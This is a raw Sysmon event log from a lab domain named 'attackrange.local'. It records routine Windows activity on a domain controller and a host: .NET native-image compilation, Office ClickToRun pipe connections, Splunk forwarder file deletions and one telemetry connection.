14:44:08.877{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F38-613B-9C08-00000000F001}5284C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.862{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F38-613B-9C08-00000000F001}5284C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.862{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F38-613B-9C08-00000000F001}5284C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 354300x800000000000000013811Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:06.408{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50113-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 18141800x800000000000000041335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.846{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.846{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.846{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.831{7BD73061-65B2-613B-1400-00000000F001}3402296C:\Windows\system32\svchost.exe{7BD73061-6F37-613B-9208-00000000F001}6884C:\Program Files\Microsoft Office\root\integration\integrator.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\cryptsvc.dll+6124|c:\windows\system32\cryptsvc.dll+5e34|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.799{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F38-613B-9B08-00000000F001}6420C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.784{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F38-613B-9B08-00000000F001}6420C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.784{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F38-613B-9B08-00000000F001}6420C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000041328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.784{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.737{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.721{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F38-613B-9A08-00000000F001}7036C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.721{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F38-613B-9A08-00000000F001}7036C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.721{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F38-613B-9A08-00000000F001}7036C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000041323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.721{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.659{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F38-613B-9908-00000000F001}5764C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.659{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.643{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F38-613B-9908-00000000F001}5764C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.643{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F38-613B-9908-00000000F001}5764C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000041310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.581{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.581{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000041308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.581{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.565{7BD73061-6F37-613B-9208-00000000F001}6884NT AUTHORITY\SYSTEMC:\Program Files\Microsoft Office\root\integration\integrator.exeC:\Windows\Temp\WIN-DC-387-20210910-1444a.logMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.549{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F37-613B-9208-00000000F001}6884C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.534{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=2A56A09A3DDBAD1CCB0FD86152AD0DFB,SHA256=ABDDC4074CAECCCEE5EC616684CD5F8827279F2D585198838C47CB413492BEB6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.518{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=31956607BDAED92DEC1285294E35A2B0,SHA256=6B238B84CF2E256FBABF38A74C7D9000437937FEEB75C1AE33F09329A766E761,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000041303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:08.518{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000041302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.487{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=8DF43168685C517EC24F89E46A2547EC,SHA256=4DC01CC134DA0B7612CE934D7F5ADCDF206C1276C62FDFEBE8B85F959A55061C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.487{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F38-613B-9808-00000000F001}7148C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.471{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=D80FC4DEE0A25FD3B084D49A6707AB7F,SHA256=537656B4FF38D2E576FB5DAD9F4A241B1B634266EA0215E9CD12273232C51D70,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.471{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F38-613B-9808-00000000F001}7148C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:08.471{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F38-613B-9808-00000000F001}7148C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.d